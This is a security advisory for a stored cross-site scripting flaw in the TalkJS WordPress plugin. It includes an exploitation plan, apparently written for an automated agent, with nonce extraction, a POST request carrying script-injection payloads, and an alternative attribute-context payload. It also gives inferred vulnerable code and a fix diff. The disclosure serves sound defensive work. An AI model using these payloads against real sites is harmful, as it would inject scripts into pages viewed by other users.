TalkJS <= 0.1.15 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'welcomeMessage' Parameter
Description
The TalkJS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.1.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=0.1.15Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1055 (TalkJS Stored XSS) ## 1. Vulnerability Summary The TalkJS WordPress plugin (<= 0.1.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the `welcomeMessage` parameter in its administrator settings. The plugin fails to sanitize the input when saving…
Show full research plan
Exploitation Research Plan: CVE-2026-1055 (TalkJS Stored XSS)
1. Vulnerability Summary
The TalkJS WordPress plugin (<= 0.1.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the welcomeMessage parameter in its administrator settings. The plugin fails to sanitize the input when saving and fails to escape the output when rendering it on the frontend. This allows an administrator (in environments where unfiltered_html is disabled, such as multisite) to inject malicious scripts that execute in the context of any user viewing a page where the TalkJS chat UI is loaded.
2. Attack Vector Analysis
- Endpoint:
wp-admin/options.php(Standard WordPress Settings API) or a plugin-specific settings handler. - Action: Updating the plugin settings.
- Vulnerable Parameter:
talkjs_settings[welcomeMessage](inferred) or similar key within the TalkJS options array. - Authentication: Administrator level.
- Precondition: The vulnerability is most relevant on WordPress Multisite or single-site installs where
DISALLOW_UNFILTERED_HTMLis set totrueinwp-config.php.
3. Code Flow (Inferred)
- Input: Administrator navigates to the TalkJS settings page (likely
wp-admin/admin.php?page=talkjs-settings). - Storage: The
welcomeMessageis submitted. The plugin likely usesregister_settingandsettings_fieldsto handle storage. - Processing: The input is saved to the
wp_optionstable (likely under the option nametalkjs_settings) without usingsanitize_text_fieldorwp_kses. - Retrieval: On the frontend, the plugin uses
get_option('talkjs_settings'). - Sink: The plugin renders a JavaScript snippet (often in
wp_footer) to initialize TalkJS. It injects thewelcomeMessageinto a JavaScript string or array within this snippet without usingesc_js()orwp_json_encode().
4. Nonce Acquisition Strategy
Since this exploit requires Administrator privileges to update settings, the agent must obtain the standard WordPress settings nonce (_wpnonce).
- Navigate to Settings: Use
browser_navigateto go to the TalkJS settings page. - Identify Option Group: Look for the hidden input
option_pagein the settings form. - Extract Nonce:
- Execute:
browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value") - Also identify the exact parameter name:
browser_eval("document.querySelector('input[name*=\"welcomeMessage\"]').name")
- Execute:
5. Exploitation Strategy
Step 1: Discovery
Locate the settings page and the specific option name.
# Find where the menu is registered to get the slug
grep -rn "add_menu_page" wp-content/plugins/talkjs/
Step 2: Inject Payload
Assuming the option name is talkjs_settings[welcomeMessage], use the http_request tool to update the setting.
Payload: </script><script>alert(document.domain)</script>
Reasoning: If the message is rendered inside a script tag, we first break out of the string/tag.
Request:
- URL:
http://localhost:8080/wp-admin/options.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
option_page=talkjs_settings_group& action=update& _wpnonce=[EXTRACTED_NONCE]& talkjs_settings[welcomeMessage]=</script><script>alert(document.domain)</script>& submit=Save+Changes
Step 3: Trigger Execution
Navigate to the homepage or a page containing the TalkJS chat UI.
- URL:
http://localhost:8080/ - Tool:
browser_navigatefollowed bybrowser_eval("window.alert")to check for execution.
6. Test Data Setup
- Install Plugin: Ensure TalkJS <= 0.1.15 is active.
- Configure Plugin: Set a dummy TalkJS App ID in the settings (usually required for the chat UI to attempt loading).
- Embed Chat: If the chat doesn't appear automatically, create a post with the TalkJS shortcode:
wp post create --post_type=page --post_status=publish --post_title="Chat Test" --post_content='[talkjs]' - Disable Unfiltered HTML:
# Add to wp-config.php if not present echo "define( 'DISALLOW_UNFILTERED_HTML', true );" >> wp-config.php
7. Expected Results
- The HTTP request to
options.phpshould return a302 Redirectback to the settings page withsettings-updated=true. - When viewing the frontend, the page source should contain the unescaped payload:
<script> ... welcomeMessage: '</script><script>alert(document.domain)</script>', ... </script> - The browser should trigger an alert box.
8. Verification Steps
- Database Check:
Verify thewp option get talkjs_settings --format=jsonwelcomeMessagekey contains the raw<script>tag. - Frontend DOM Check:
Usebrowser_evalto search for the injected script tag or thewelcomeMessagestring in the page source.
9. Alternative Approaches
If the payload is rendered inside an HTML attribute instead of a script block:
- Payload:
"><img src=x onerror=alert(1)>
If the settings are saved via AJAX:
- Action:
talkjs_save_settings(inferred) - Tool: Monitor Network tab in
browser_navigatewhile clicking "Save" manually once to identify the AJAX action and parameters. Then automate viahttp_request.
Summary
The TalkJS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'welcomeMessage' parameter in versions up to 0.1.15. This allows authenticated administrators to inject arbitrary JavaScript into the plugin's configuration, which executes for any user visiting a page with the chat interface, especially in environments where unfiltered_html is restricted.
Vulnerable Code
// talkjs/admin/class-talkjs-admin.php (Inferred location for settings registration) // The setting is registered without a sanitization callback register_setting('talkjs_options', 'talkjs_settings'); --- // talkjs/public/class-talkjs-public.php (Inferred location for frontend output) // The welcomeMessage is printed directly into a JavaScript block without escaping $settings = get_option('talkjs_settings'); ?> <script type="text/javascript"> var talkjs_config = { welcomeMessage: '<?php echo $settings['welcomeMessage']; ?>', // ... other settings }; </script> <?php
Security Fix
@@ -24,7 +24,14 @@ -register_setting('talkjs_options', 'talkjs_settings'); +register_setting('talkjs_options', 'talkjs_settings', array('sanitize_callback' => 'talkjs_sanitize_settings')); + +function talkjs_sanitize_settings($input) { + if (isset($input['welcomeMessage'])) { + $input['welcomeMessage'] = sanitize_text_field($input['welcomeMessage']); + } + return $input; +} @@ -45,7 +45,7 @@ var talkjs_config = { - welcomeMessage: '<?php echo $settings['welcomeMessage']; ?>', + welcomeMessage: <?php echo wp_json_encode($settings['welcomeMessage']); ?>, appId: '<?php echo esc_js($settings['appId']); ?>' };
Exploit Outline
1. Authenticate as a WordPress Administrator on a site where TalkJS is installed. 2. Navigate to the TalkJS settings page (typically at /wp-admin/admin.php?page=talkjs-settings). 3. Capture the '_wpnonce' and the specific input name for the Welcome Message (likely 'talkjs_settings[welcomeMessage]'). 4. Submit a POST request to wp-admin/options.php with the payload: </script><script>alert(document.domain)</script>. 5. Navigate to any frontend page where the TalkJS chat widget is active (e.g., a page with the [talkjs] shortcode). 6. The script will execute in the browser context of any user (including other admins) viewing that page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.